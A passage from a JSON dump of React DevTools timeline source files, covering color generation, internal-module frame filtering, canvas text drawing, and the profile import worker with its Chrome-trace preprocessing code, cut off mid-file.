[\n      [createStackFrame('bar', 10, 0), createStackFrame('bar', 15, 100)],\n      [createStackFrame('bar', 20, 0), createStackFrame('bar', 25, 100)],\n    ]);\n  });\n\n  it('should properly identify stack frames within the provided module ranges', () => {\n    expect(\n      isInternalModule(map, createFlamechartStackFrame('foo', 10, 0)),\n    ).toBe(true);\n    expect(\n      isInternalModule(map, createFlamechartStackFrame('foo', 12, 35)),\n    ).toBe(true);\n    expect(\n      isInternalModule(map, createFlamechartStackFrame('foo', 15, 100)),\n    ).toBe(true);\n    expect(\n      isInternalModule(map, createFlamechartStackFrame('bar', 12, 0)),\n    ).toBe(true);\n    expect(\n      isInternalModule(map, createFlamechartStackFrame('bar', 22, 125)),\n    ).toBe(true);\n  });\n\n  it('should properly identify stack frames outside of the provided module ranges', () => {\n    expect(isInternalModule(map, createFlamechartStackFrame('foo', 9, 0))).toBe(\n      false,\n    );\n    expect(\n      isInternalModule(map, createFlamechartStackFrame('foo', 15, 101)),\n    ).toBe(false);\n    expect(\n      isInternalModule(map, createFlamechartStackFrame('bar', 17, 0)),\n    ).toBe(false);\n    expect(\n      isInternalModule(map, createFlamechartStackFrame('baz', 12, 0)),\n    ).toBe(false);\n  });\n});\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/content-views/utils/colors.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\ntype ColorSpace = number | {min: number, max: number, count?: number};\n\n// Docstrings from https://www.w3schools.com/css/css_colors_hsl.asp\ntype HslaColor = $ReadOnly<{\n  /** Hue is a degree on the color wheel from 0 to 360. 0 is red, 120 is green, and 240 is blue. */\n  h: number,\n  /** Saturation is a percentage value, 0% means a shade of gray, and 100% is the full color. */\n  s: number,\n  /** Lightness is a percentage, 0% is black, 50% is neither light or dark, 100% is white. */\n  l: number,\n  /** Alpha is a percentage, 0% is fully transparent, and 100 is not transparent at all. */\n  a: number,\n}>;\n\nexport function hslaColorToString({h, s, l, a}: HslaColor): string {\n  return `hsl(${h}deg ${s}% ${l}% / ${a})`;\n}\n\nexport function dimmedColor(color: HslaColor, dimDelta: number): HslaColor {\n  return {\n    ...color,\n    l: color.l - dimDelta,\n  };\n}\n\n// Source: https://source.chromium.org/chromium/chromium/src/+/master:out/Debug/gen/devtools/platform/utilities.js;l=120\nfunction hashCode(string: string): number {\n  // Hash algorithm for substrings is described in \"Über die Komplexität der Multiplikation in\n  // eingeschränkten Branchingprogrammmodellen\" by Woelfe.\n  // http://opendatastructures.org/versions/edition-0.1d/ods-java/node33.html#SECTION00832000000000000000\n  const p = (1 << 30) * 4 - 5; // prime: 2^32 - 5\n  const z = 0x5033d967; // 32 bits from random.org\n  const z2 = 0x59d2f15d; // random odd 32 bit number\n  let s = 0;\n  let zi = 1;\n  for (let i = 0; i < string.length; i++) {\n    const xi = string.charCodeAt(i) * z2;\n    s = (s + zi * xi) % p;\n    zi = (zi * z) % p;\n  }\n  s = (s + zi * (p - 1)) % p;\n  return Math.abs(s | 0);\n}\n\nfunction indexToValueInSpace(index: number, space: ColorSpace): number {\n  if (typeof space === 'number') {\n    return space;\n  }\n  const count = space.count || space.max - space.min;\n  index %= count;\n  return (\n    space.min + Math.floor((index / (count - 1)) * (space.max - space.min))\n  );\n}\n\n/**\n * Deterministic color generator.\n *\n * Adapted from: https://source.chromium.org/chromium/chromium/src/+/master:out/Debug/gen/devtools/common/Color.js\n */\nexport class ColorGenerator {\n  _hueSpace: ColorSpace;\n  _satSpace: ColorSpace;\n  _lightnessSpace: ColorSpace;\n  _alphaSpace: ColorSpace;\n  _colors: Map<string, HslaColor>;\n\n  constructor(\n    hueSpace?: ColorSpace,\n    satSpace?: ColorSpace,\n    lightnessSpace?: ColorSpace,\n    alphaSpace?: ColorSpace,\n  ) {\n    this._hueSpace = hueSpace || {min: 0, max: 360};\n    this._satSpace = satSpace || 67;\n    this._lightnessSpace = lightnessSpace || 80;\n    this._alphaSpace = alphaSpace || 1;\n    this._colors = new Map();\n  }\n\n  setColorForID(id: string, color: HslaColor) {\n    this._colors.set(id, color);\n  }\n\n  colorForID(id: string): HslaColor {\n    const cachedColor = this._colors.get(id);\n    if (cachedColor) {\n      return cachedColor;\n    }\n    const color = this._generateColorForID(id);\n    this._colors.set(id, color);\n    return color;\n  }\n\n  _generateColorForID(id: string): HslaColor {\n    const hash = hashCode(id);\n    return {\n      h: indexToValueInSpace(hash, this._hueSpace),\n      s: indexToValueInSpace(hash >> 8, this._satSpace),\n      l: indexToValueInSpace(hash >> 16, this._lightnessSpace),\n      a: indexToValueInSpace(hash >> 24, this._alphaSpace),\n    };\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/content-views/utils/moduleFilters.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  FlamechartStackFrame,\n  InternalModuleSourceToRanges,\n} from '../../types';\n\nimport {\n  CHROME_WEBSTORE_EXTENSION_ID,\n  INTERNAL_EXTENSION_ID,\n  LOCAL_EXTENSION_ID,\n} from 'react-devtools-shared/src/constants';\n\nexport function isInternalModule(\n  internalModuleSourceToRanges: InternalModuleSourceToRanges,\n  flamechartStackFrame: FlamechartStackFrame,\n): boolean {\n  const {locationColumn, locationLine, scriptUrl} = flamechartStackFrame;\n\n  if (scriptUrl == null || locationColumn == null || locationLine == null) {\n    // This could indicate a browser-internal API like performance.mark().\n    return false;\n  }\n\n  // Internal modules are only registered if DevTools was running when the profile was captured,\n  // but DevTools should also hide its own frames to avoid over-emphasizing them.\n  if (\n    // Handle webpack-internal:// sources\n    scriptUrl.includes('/react-devtools') ||\n    scriptUrl.includes('/react_devtools') ||\n    // Filter out known extension IDs\n    scriptUrl.includes(CHROME_WEBSTORE_EXTENSION_ID) ||\n    scriptUrl.includes(INTERNAL_EXTENSION_ID) ||\n    scriptUrl.includes(LOCAL_EXTENSION_ID)\n    // Unfortunately this won't get everything, like relatively loaded chunks or Web Worker files.\n  ) {\n    return true;\n  }\n\n  // Filter out React internal packages.\n  const ranges = internalModuleSourceToRanges.get(scriptUrl);\n  if (ranges != null) {\n    for (let i = 0; i < ranges.length; i++) {\n      const [startStackFrame, stopStackFrame] = ranges[i];\n\n      const isAfterStart =\n        // $FlowFixMe[invalid-compare] -- TODO: Revealed when adding types to error-stack-parser\n        locationLine > startStackFrame.lineNumber ||\n        (locationLine === startStackFrame.lineNumber &&\n          // $FlowFixMe[invalid-compare]\n          locationColumn >= startStackFrame.columnNumber);\n      const isBeforeStop =\n        // $FlowFixMe[invalid-compare]\n        locationLine < stopStackFrame.lineNumber ||\n        (locationLine === stopStackFrame.lineNumber &&\n          // $FlowFixMe[invalid-compare]\n          locationColumn <= stopStackFrame.columnNumber);\n\n      if (isAfterStart && isBeforeStop) {\n        return true;\n      }\n    }\n  }\n\n  return false;\n}\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/content-views/utils/positioning.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Rect} from '../../view-base';\n\nexport function positioningScaleFactor(\n  intrinsicWidth: number,\n  frame: Rect,\n): number {\n  return frame.size.width / intrinsicWidth;\n}\n\nexport function timestampToPosition(\n  timestamp: number,\n  scaleFactor: number,\n  frame: Rect,\n): number {\n  return frame.origin.x + timestamp * scaleFactor;\n}\n\nexport function positionToTimestamp(\n  position: number,\n  scaleFactor: number,\n  frame: Rect,\n): number {\n  return (position - frame.origin.x) / scaleFactor;\n}\n\nexport function durationToWidth(duration: number, scaleFactor: number): number {\n  return duration * scaleFactor;\n}\n\nexport function widthToDuration(width: number, scaleFactor: number): number {\n  return width / scaleFactor;\n}\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/content-views/utils/text.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Rect} from '../../view-base';\n\nimport {rectEqualToRect} from '../../view-base';\nimport {COLORS, FONT_SIZE, TEXT_PADDING} from '../constants';\n\nconst cachedTextWidths = new Map<string, number>();\n\nexport function getTextWidth(\n  context: CanvasRenderingContext2D,\n  text: string,\n): number {\n  let measuredWidth = cachedTextWidths.get(text);\n  if (measuredWidth == null) {\n    measuredWidth = context.measureText(text).width;\n    cachedTextWidths.set(text, measuredWidth);\n  }\n\n  return ((measuredWidth: any): number);\n}\n\nexport function trimText(\n  context: CanvasRenderingContext2D,\n  text: string,\n  width: number,\n): string | null {\n  const maxIndex = text.length - 1;\n\n  let startIndex = 0;\n  let stopIndex = maxIndex;\n\n  let longestValidIndex = 0;\n  let longestValidText = null;\n\n  // Trimming long text could be really slow if we decrease only 1 character at a time.\n  // Trimming with more of a binary search approach is faster in the worst cases.\n  while (startIndex <= stopIndex) {\n    const currentIndex = Math.floor((startIndex + stopIndex) / 2);\n    const trimmedText =\n      currentIndex === maxIndex ? text : text.slice(0, currentIndex) + '…';\n\n    if (getTextWidth(context, trimmedText) <= width) {\n      if (longestValidIndex < currentIndex) {\n        longestValidIndex = currentIndex;\n        longestValidText = trimmedText;\n      }\n\n      startIndex = currentIndex + 1;\n    } else {\n      stopIndex = currentIndex - 1;\n    }\n  }\n\n  return longestValidText;\n}\n\ntype TextConfig = {\n  fillStyle?: string,\n  fontSize?: number,\n  textAlign?: 'left' | 'center',\n};\n\nexport function drawText(\n  text: string,\n  context: CanvasRenderingContext2D,\n  fullRect: Rect,\n  drawableRect: Rect,\n  config?: TextConfig,\n): void {\n  const {\n    fillStyle = COLORS.TEXT_COLOR,\n    fontSize = FONT_SIZE,\n    textAlign = 'left',\n  } = config || {};\n\n  if (fullRect.size.width > TEXT_PADDING * 2) {\n    context.textAlign = textAlign;\n    context.textBaseline = 'middle';\n    context.font = `${fontSize}px sans-serif`;\n\n    const {x, y} = fullRect.origin;\n\n    const trimmedName = trimText(\n      context,\n      text,\n      fullRect.size.width - TEXT_PADDING * 2 + (x < 0 ? x : 0),\n    );\n\n    if (trimmedName !== null) {\n      context.fillStyle = fillStyle;\n\n      // Prevent text from visibly overflowing its container when clipped.\n      const textOverflowsViewableArea = !rectEqualToRect(\n        drawableRect,\n        fullRect,\n      );\n      if (textOverflowsViewableArea) {\n        context.save();\n        context.beginPath();\n        context.rect(\n          drawableRect.origin.x,\n          drawableRect.origin.y,\n          drawableRect.size.width,\n          drawableRect.size.height,\n        );\n        context.closePath();\n        context.clip();\n      }\n\n      let textX;\n      if (textAlign === 'center') {\n        textX = x + fullRect.size.width / 2 + TEXT_PADDING - (x < 0 ? x : 0);\n      } else {\n        textX = x + TEXT_PADDING - (x < 0 ? x : 0);\n      }\n\n      const textY = y + fullRect.size.height / 2;\n\n      context.fillText(trimmedName, textX, textY);\n\n      if (textOverflowsViewableArea) {\n        context.restore();\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/createDataResourceFromImportedFile.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {createResource} from 'react-devtools-shared/src/devtools/cache';\nimport {importFile} from './import-worker';\n\nimport type {Resource} from 'react-devtools-shared/src/devtools/cache';\nimport type {TimelineData} from './types';\nimport type {ImportWorkerOutputData} from './import-worker/index';\n\nexport type DataResource = Resource<void, File, TimelineData | Error>;\n\nexport default function createDataResourceFromImportedFile(\n  file: File,\n): DataResource {\n  return createResource(\n    () => {\n      return new Promise<TimelineData | Error>((resolve, reject) => {\n        const promise = ((importFile(\n          file,\n        ): any): Promise<ImportWorkerOutputData>);\n        promise.then(data => {\n          switch (data.status) {\n            case 'SUCCESS':\n              resolve(data.processedData);\n              break;\n            case 'INVALID_PROFILE_ERROR':\n              resolve(data.error);\n              break;\n            case 'UNEXPECTED_ERROR':\n              reject(data.error);\n              break;\n          }\n        });\n      });\n    },\n    () => file,\n    {useWeakMap: true},\n  );\n}\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/import-worker/InvalidProfileError.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n/**\n * An error thrown when an invalid profile could not be processed.\n */\nexport default class InvalidProfileError extends Error {}\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/import-worker/importFile.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport 'regenerator-runtime/runtime';\n\nimport type {TimelineEvent} from '@elg/speedscope';\nimport type {ImportWorkerOutputData} from './index';\n\nimport preprocessData from './preprocessData';\nimport {readInputData} from './readInputData';\nimport InvalidProfileError from './InvalidProfileError';\n\nexport async function importFile(file: File): Promise<ImportWorkerOutputData> {\n  try {\n    const readFile = await readInputData(file);\n    const events: TimelineEvent[] = JSON.parse(readFile);\n    if (events.length === 0) {\n      throw new InvalidProfileError('No profiling data found in file.');\n    }\n\n    const processedData = await preprocessData(events);\n\n    return {\n      status: 'SUCCESS',\n      processedData,\n    };\n  } catch (error) {\n    if (error instanceof InvalidProfileError) {\n      return {\n        status: 'INVALID_PROFILE_ERROR',\n        error,\n      };\n    } else {\n      return {\n        status: 'UNEXPECTED_ERROR',\n        error,\n      };\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/import-worker/importFile.worker.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport * as importFileModule from './importFile';\n\nexport const importFile = importFileModule.importFile;\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/import-worker/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// This file uses workerize to load ./importFile.worker as a webworker and instanciates it,\n// exposing flow typed functions that can be used on other files.\n\nimport * as importFileModule from './importFile';\nimport WorkerizedImportFile from './importFile.worker';\n\nimport type {TimelineData} from '../types';\n\ntype ImportFileModule = typeof importFileModule;\n\nconst workerizedImportFile: ImportFileModule = window.Worker\n  ? WorkerizedImportFile()\n  : importFileModule;\n\nexport type ImportWorkerOutputData =\n  | {status: 'SUCCESS', processedData: TimelineData}\n  | {status: 'INVALID_PROFILE_ERROR', error: Error}\n  | {status: 'UNEXPECTED_ERROR', error: Error};\n\nexport type importFileFunction = (file: File) => ImportWorkerOutputData;\n\nexport const importFile = (file: File): Promise<ImportWorkerOutputData> =>\n  workerizedImportFile.importFile(file);\n"
  },
  {
    "path": "packages/react-devtools-timeline/src/import-worker/preprocessData.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {\n  importFromChromeTimeline,\n  Flamechart as SpeedscopeFlamechart,\n} from '@elg/speedscope';\nimport type {TimelineEvent} from '@elg/speedscope';\nimport type {\n  ErrorStackFrame,\n  BatchUID,\n  Flamechart,\n  Milliseconds,\n  NativeEvent,\n  NetworkMeasure,\n  Phase,\n  ReactLane,\n  ReactComponentMeasure,\n  ReactComponentMeasureType,\n  ReactMeasure,\n  ReactMeasureType,\n  TimelineData,\n  SchedulingEvent,\n  SuspenseEvent,\n  Snapshot,\n} from '../types';\nimport {\n  REACT_TOTAL_NUM_LANES,\n  SCHEDULING_PROFILER_VERSION,\n  SNAPSHOT_MAX_HEIGHT,\n} from '../constants';\nimport InvalidProfileError from './InvalidProfileError';\nimport {getBatchRange} from '../utils/getBatchRange';\nimport ErrorStackParser from 'error-stack-parser';\n\ntype MeasureStackElement = {\n  type: ReactMeasureType,\n  depth: number,\n  measure: ReactMeasure,\n  startTime: Milliseconds,\n  stopTime?: Milliseconds,\n};\n\ntype ProcessorState = {\n  asyncProcessingPromises: Promise<any>[],\n  batchUID: BatchUID,\n  currentReactComponentMeasure: ReactComponentMeasure | null,\n  internalModuleCurrentStackFrame: ErrorStackFrame | null,\n  internalModuleStackStringSet: Set<string>,\n  measureStack: MeasureStackElement[],\n  nativeEventStack: NativeEvent[],\n  nextRenderShouldGenerateNewBatchID: boolean,\n  potentialLongEvents: Array<[NativeEvent, BatchUID]>,\n  potentialLongNestedUpdate: SchedulingEvent | null,\n  potentialLongNestedUpdates: Array<[SchedulingEvent, BatchUID]>,\n  potentialSuspenseEventsOutsideOfTransition: Array<\n    [SuspenseEvent, ReactLane[]],\n  >,\n  requestIdToNetworkMeasureMap: Map<string, NetworkMeasure>,\n  uidCounter: BatchUID,\n  unresolvedSuspenseEvents: Map<string, SuspenseEvent>,\n};\n\nconst NATIVE_EVENT_DURATION_THRESHOLD = 20;\nconst NESTED_UPDATE_DURATION_THRESHOLD = 20;\n\nconst WARNING_STRINGS = {\n  LONG_EVENT_HANDLER:\n    'An event handler scheduled a big update with React. Consider using the Transition API to defer some of this work.',\n  NESTED_UPDATE:\n    'A big nested update was scheduled during layout. ' +\n    'Nested updates require React to re-render synchronously before the browser can paint. ' +\n    'Consider delaying this update by moving it to a passive effect (useEffect).',\n  SUSPEND_DURING_UPDATE:\n    'A component suspended during an update which caused a fallback to be shown. ' +\n    \"Consider using the Transition API to avoid hiding components after they've been mounted.\",\n};\n\n// Exported for tests\nexport function getLanesFromTransportDecimalBitmask(\n  laneBitmaskString: string,\n): ReactLane[] {\n  const laneBitmask = parseInt(laneBitmaskString, 10);\n\n  // As negative numbers are stored in two's complement format, our bitmask\n  // checks will be thrown off by them.\n  if (laneBitmask < 0) {\n    return [];\n  }\n\n  const lanes = [];\n  let powersOfTwo = 0;\n  while (powersOfTwo <= REACT_TOTAL_NUM_LANES) {\n    if ((1 << powersOfTwo) & laneBitmask) {\n      lanes.push(powersOfTwo);\n    }\n    powersOfTwo++;\n  }\n  return lanes;\n}\n\nfunction updateLaneToLabelMap(\n  profilerData: TimelineData,\n  laneLabelTuplesString: string,\n): void {\n  // These marks appear multiple times in the data;\n  // We only need to extact them once.\n  if (profilerData.laneToLabelMap.size === 0) {\n    const laneLabelTuples = laneLabelTuplesString.split(',');\n    for (let laneIndex = 0; laneIndex < laneLabelTuples.length; laneIndex++) {\n      // The numeric lane value (e.g. 64) isn't important.\n      // The profiler parses and stores the lane's position within the bitmap,\n      // (e.g. lane 1 is index 0, lane 16 is index 4).\n      profilerData.laneToLabelMap.set(laneIndex, laneLabelTuples[laneIndex]);\n    }\n  }\n}\n\nlet profilerVersion = null;\n\nfunction getLastType(stack: ProcessorState['measureStack']) {\n  if (stack.length > 0) {\n    const {type} = stack[stack.length - 1];\n    return type;\n  }\n  return null;\n}\n\nfunction getDepth(stack: ProcessorState['measureStack']) {\n  if (stack.length > 0) {\n    const {depth, type} = stack[stack.length - 1];\n    return type === 'render-idle' ? depth : depth + 1;\n  }\n  return 0;\n}\n\nfunction markWorkStarted(\n  type: ReactMeasureType,\n  startTime: Milliseconds,\n  lanes: ReactLane[],\n  currentProfilerData: TimelineData,\n  state: ProcessorState,\n) {\n  const {batchUID, measureStack} = state;\n  const depth = getDepth(measureStack);\n\n  const measure: ReactMeasure = {\n    type,\n    batchUID,\n    depth,\n    lanes,\n    timestamp: startTime,\n    duration: 0,\n  };\n\n  state.measureStack.push({depth, measure, startTime, type});\n\n  // This array is pre-initialized when the batchUID is generated.\n  const measures = currentProfilerData.batchUIDToMeasuresMap.get(batchUID);\n  if (measures != null) {\n    measures.push(measure);\n  } else {\n    currentProfilerData.batchUIDToMeasuresMap.set(state.batchUID, [measure]);\n  }\n\n  // This array is pre-initialized before processing starts.\n  lanes.forEach(lane => {\n    ((currentProfilerData.laneToReactMeasureMap.get(\n      lane,\n    ): any): ReactMeasure[]).push(measure);\n  });\n}\n\nfunction markWorkCompleted(\n  type: ReactMeasureType,\n  stopTime: Milliseconds,\n  currentProfilerData: TimelineData,\n  stack: ProcessorState['measureStack'],\n) {\n  if (stack.length === 0) {\n    console.error(\n      'Unexpected type \"%s\" completed at %sms while stack is empty.',\n      type,\n      stopTime,\n    );\n    // Ignore work \"completion\" user timing mark that doesn't complete anything\n    return;\n  }\n\n  const last = stack[stack.length - 1];\n  if (last.type !== type) {\n    console.error(\n      'Unexpected type \"%s\" completed at %sms before \"%s\" completed.',\n      type,\n      stopTime,\n      last.type,\n    );\n  }\n\n  // $FlowFixMe[incompatible-use]\n  const {measure, startTime} = stack.pop();\n  if (!measure) {\n    console.error('Could not find matching measure for type \"%s\".', type);\n  }\n\n  // $FlowFixMe[cannot-write] This property should not be writable outside of this function.\n  measure.duration = stopTime - startTime;\n}\n\nfunction throwIfIncomplete(\n  type: ReactMeasureType,\n  stack: ProcessorState['measureStack'],\n) {\n  const lastIndex = stack.length - 1;\n  if (lastIndex >= 0) {\n    const last = stack[lastIndex];\n    if (last.stopTime === undefined && last.type === type) {\n      throw new InvalidProfileError(\n        `Unexpected type \"${type}\" started before \"${last.type}\" completed.`,\n      );\n    }\n  }\n}\n\nfunction processEventDispatch(\n  event: TimelineEvent,\n  timestamp: Milliseconds,\n  profilerData: TimelineData,\n  state: ProcessorState,\n) {\n  const data = event.args.data;\n  const type = data.type;\n\n  if (type.startsWith('react-')) {\n    const stackTrace = data.stackTrace;\n    if (stackTrace) {\n      const topFrame = stackTrace[stackTrace.length - 1];\n      if (topFrame.url.includes('/react-dom.')) {\n        // Filter out fake React events dispatched by invokeGuardedCallbackDev.\n        return;\n      }\n    }\n  }\n\n  // Reduce noise from events like DOMActivate, load/unload, etc. which are usually not relevant\n  if (\n    type === 'blur' ||\n    type === 'click' ||\n    type === 'input' ||\n    type.startsWith('focus') ||\n    type.startsWith('key') ||\n    type.startsWith('mouse') ||\n    type.startsWith('pointer')\n  ) {\n    const duration = event.dur / 1000;\n\n    let depth = 0;\n\n    while (state.nativeEventStack.length > 0) {\n      const prevNativeEvent =\n        state.nativeEventStack[state.nativeEventStack.length - 1];\n      const prevStopTime = prevNativeEvent.timestamp + prevNativeEvent.duration;\n\n      if (timestamp < prevStopTime) {\n        depth = prevNativeEvent.depth + 1;\n        break;\n      } else {\n        state.nativeEventStack.pop();\n      }\n    }\n\n    const nativeEvent = {\n      depth,\n      duration,\n      timestamp,\n      type,\n      warning: null,\n    };\n\n    profilerData.nativeEvents.push(nativeEvent);\n\n    // Keep track of curent event in case future ones overlap.\n    // We separate them into different vertical lanes in this case.\n    state.nativeEventStack.push(nativeEvent);\n  }\n}\n\nfunction processResourceFinish(\n  event: TimelineEvent,\n  timestamp: Milliseconds,\n  profilerData: TimelineData,\n  state: ProcessorState,\n) {\n  const requestId = event.args.data.requestId;\n  const networkMeasure = state.requestIdToNetworkMeasureMap.get(requestId);\n  if (networkMeasure != null) {\n    networkMeasure.finishTimestamp = timestamp;\n    if (networkMeasure.firstReceivedDataTimestamp === 0) {\n      networkMeasure.firstReceivedDataTimestamp = timestamp;\n    }\n    if (networkMeasure.lastReceivedDataTimestamp === 0) {\n      networkMeasure.lastReceivedDataTimestamp = timestamp;\n    }\n\n    // Clean up now that the resource is done.\n    state.requestIdToNetworkMeasureMap.delete(event.args.data.requestId);\n  }\n}\n\nfunction processResourceReceivedData(\n  event: TimelineEvent,\n  timestamp: Milliseconds,\n  profilerData: TimelineData,\n  state: ProcessorState,\n) {\n  const requestId = event.args.data.requestId;\n  const networkMeasure = state.requestIdToNetworkMeasureMap.get(requestId);\n  if (networkMeasure != null) {\n    if (networkMeasure.firstReceivedDataTimestamp === 0) {\n      networkMeasure.firstReceivedDataTimestamp = timestamp;\n    }\n    networkMeasure.lastReceivedDataTimestamp = timestamp;\n    networkMeasure.finishTimestamp = timestamp;\n  }\n}\n\nfunction processResourceReceiveResponse(\n  event: TimelineEvent,\n  timestamp: Milliseconds,\n  profilerData: TimelineData,\n  state: ProcessorState,\n) {\n  const requestId = event.args.data.requestId;\n  const networkMeasure = state.requestIdToNetworkMeasureMap.get(requestId);\n  if (networkMeasure != null) {\n    networkMeasure.receiveResponseTimestamp = timestamp;\n  }\n}\n\nfunction processScreenshot(\n  event: TimelineEvent,\n  timestamp: Milliseconds,\n  profilerData: TimelineData,\n  state: ProcessorState,\n) {\n  const encodedSnapshot = event.args.snapshot; // Base 64 encoded\n\n  const snapshot: Snapshot = {\n    height: 0,\n    image: null,\n    imageSource: `data:image/png;base64,${encodedSnapshot}`,\n    timestamp,\n    width: 0,\n  };\n\n  // Delay processing until we've extracted snapshot dimensions.\n  let resolveFn = ((null: any): Function);\n  state.asyncProcessingPromises.push(\n    new Promise(resolve => {\n      resolveFn = resolve;\n    }),\n  );\n\n  // Parse the Base64 image data to determine native size.\n  // This will be used later to scale for display within the thumbnail strip.\n  fetch(snapshot.imageSource)\n    .then(response => response.blob())\n    .then(blob => {\n      // $FlowFixMe[cannot-resolve-name] createImageBitmap\n      createImageBitmap(blob).then(bitmap => {\n        snapshot.height = bitmap.height;\n        snapshot.width = bitmap.width;\n\n        resolveFn();\n      });\n    });\n\n  profilerData.snapshots.push(snapshot);\n}\n\nfunction processResourceSendRequest(\n  event: TimelineEvent,\n  timestamp: Milliseconds,\n  profilerData: TimelineData,\n  state: ProcessorState,\n) {\n  const data = event.args.data;\n  const requestId = data.requestId;\n\n  const availableDepths = new Array<boolean>(\n    state.requestIdToNetworkMeasureMap.size + 1,\n  ).fill(true);\n  state.requestIdToNetworkMeasureMap.forEach(({depth}) => {\n    availableDepths[depth] = false;\n  });\n\n  let depth = 0;\n  for (let i = 0; i < availableDepths.length; i++) {\n    if (availableDepths[i]) {\n      depth = i;\n      break;\n    }\n  }\n\n  const networkMeasure: NetworkMeasure = {\n    depth,\n    finishTimestamp: 0,\n    firstReceivedDataTimestamp: 0,\n    lastReceivedDataTimestamp: 0,\n    requestId,\n    requestMethod: data.requestMethod,\n    priority: data.priority,\n    sendRequestTimestamp: timestamp,\n    receiveResponseTimestamp: 0,\n    url: data.url,\n  };\n\n  state.requestIdToNetworkMeasureMap.set(requestId, networkMeasure);\n\n  profilerData.networkMeasures.push(networkMeasure);\n  networkMeasure.sendRequestTimestamp = timestamp;\n}\n\nfunction processTimelineEvent(\n  event: TimelineEvent,\n  /** Finalized profiler data up to `event`. May be mutated. */\n  currentProfilerData: TimelineData,\n  /** Intermediate processor state. May be mutated. */\n  state: ProcessorState,\n) {\n  const {cat, name, ts, ph} = event;\n\n  const startTime = (ts - currentProfilerData.startTime) / 1000;\n\n  switch (cat) {\n    case 'disabled-by-default-devtools.screenshot':\n      processScreenshot(event, startTime, currentProfilerData, state);\n      break;\n    case 'devtools.timeline':\n      switch (name) {\n        case 'EventDispatch':\n          processEventDispatch(event, startTime, currentProfilerData, state);\n          break;\n        case 'ResourceFinish':\n          processResourceFinish(event, startTime, currentProfilerData, state);\n          break;\n        case 'ResourceReceivedData':\n          processResourceReceivedData(\n            event,\n            startTime,\n            currentProfilerData,\n            state,\n          );\n          break;\n        case 'ResourceReceiveResponse':\n          processResourceReceiveResponse(\n            event,\n            startTime,\n            currentProfilerData,\n            state,\n          );\n          break;\n        case 'ResourceSendRequest':\n          processResourceSendRequest(\n            event,\n            startTime,\n            currentProfilerData,\n            state,\n          );\n          break;\n      }\n      break;\n    case 'blink.user_timing':\n      if (name.startsWith('--react-version-')) {\n        const [reactVersion] = name.slice(16).split('-');\n        currentProfilerData.reactVersion = reactVersion;\n      } else if (name.startsWith('--profiler-version-')) {\n        const [versionString] = name.slice(19).split('-');\n        profilerVersion = parseInt(versionString, 10);\n        if (profilerVersion !== SCHEDULING_PROFILER_VERSION) {\n          throw new InvalidProfileError(\n            `This version of profiling data (${versionString}) is not supported by the current profiler.`,\n          );\n        }\n      } else if (name.startsWith('--react-lane-labels-')) {\n        const [laneLabelTuplesString] = name.slice(20).split('-');\n        updateLaneToLabelMap(currentProfilerData, laneLabelTuplesString);\n      } else if (name.startsWith('--component-')) {\n        processReactComponentMeasure(\n          name,\n          startTime,\n          currentProfilerData,\n          state,\n        );\n      } else if (name.startsWith('--schedule-render-')) {\n        const [laneBitmaskString] = name.slice(18).split('-');\n\n        currentProfilerData.schedulingEvents.push({\n          type: 'schedule-render',\n          lanes: getLanesFromTransportDecimalBitmask(laneBitmaskString),\n          timestamp: startTime,\n          warning: null,\n        });\n      } else if (name.startsWith('--schedule-forced-update-')) {\n        const [laneBitmaskString, componentName] = name.slice(25).split('-');\n\n        const forceUpdateEvent: SchedulingEvent = {\n          type: 'schedule-force-update',\n          lanes: getLanesFromTransportDecimalBitmask(laneBitmaskString),\n          componentName,\n          timestamp: startTime,\n          warning: null,\n        };\n\n        // If this is a nested update, make a note of it.\n        // Once we're done processing events, we'll check to see if it was a long update and warn about it.\n        if (state.measureStack.find(({type}) => type === 'commit')) {\n          state.potentialLongNestedUpdate = forceUpdateEvent;\n        }\n\n        currentProfilerData.schedulingEvents.push(forceUpdateEvent);\n      } else if (name.startsWith('--schedule-state-update-')) {\n        const [laneBitmaskString, componentName] = name.slice(24).split('-');\n\n        const stateUpdateEvent: SchedulingEvent = {\n          type: 'schedule-state-update',\n          lanes: getLanesFromTransportDecimalBitmask(laneBitmaskString),\n          componentName,\n          timestamp: startTime,\n          warning: null,\n        };\n\n        // If this is a nested update, make a 